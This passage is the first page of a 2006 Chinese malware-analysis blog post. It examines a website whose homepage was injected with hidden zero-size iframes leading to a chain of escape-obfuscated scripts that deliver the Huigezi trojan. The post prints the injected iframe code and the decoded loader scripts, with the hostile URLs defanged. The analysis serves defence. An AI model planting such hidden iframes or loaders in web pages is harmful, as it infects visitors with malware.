endurer　原创

2006-04-08　第2版　分析young.gif，确认young.css为灰鸽子
2006-04-07　第1版

网站首页被插入恶意代码：

---

＜iframe src='hxxp://www.***hyap98.com/123/wawa.htm' width='0' height='0' frameborder='0'＞＜/iframe＞＜iframe src='hxxp://djloveqq.***go3.icpcn.com/cert/joke.htm' width='0' height='0' frameborder='0'＞＜/iframe＞

---

hxxp://www.***hyap98.com/123/wawa.htm的部分内容经过escape()加密，unescape()后为：

---

＜HTML＞
＜HEAD＞
＜SCRIPT LANGUAGE="Javascript"＞
＜!--
var Words="＜iframe src="hxxp://www.***hyap98.com/123/music.htm" width='0' height='0' frameborder='0'＞＜/iframe＞
＜iframe src="hxxp://www.***hyap98.com/rx/joke.htm" width='0' height='0' frameborder='0'＞＜/iframe＞"
function SetNewWords()
{
var NewWords;
NewWords=unescape(Words);
document.write(NewWords);
}
SetNewWords();
// --＞
＜/SCRIPT＞
＜/HEAD＞
＜BODY＞
＜/BODY＞
＜/HTML＞

---

hxxp://www.***hyap98.com/123/music.htm的部分内容经过escape()加密，unescape()后为：

---

＜HTML＞
＜HEAD＞
＜SCRIPT LANGUAGE="Javascript"＞
＜!--
var Words="＜embed type="audio/x-pn-realaudio-plugin"
src="http://www.webjx.com/htmldata/2006-04-10/music.smi"
controls="controlpanel,statusbar" height=95
width=150 autostart=true＞"
function SetNewWords()
{
var NewWords;
NewWords=unescape(Words);
document.write(NewWords);
}
SetNewWords();
// --＞
＜/SCRIPT＞

[1] [2] [3] [4] 下一页

在google里搜索更多发现一个使用技术升级、下载灰鸽子的网站

	Web www.51ec.org

上一篇信息学院： Windows 2003 硬盘安全设置[针对ASP类网站]…

下一篇信息学院： WinXP的IIS中解决FileSystemObject相关问题解决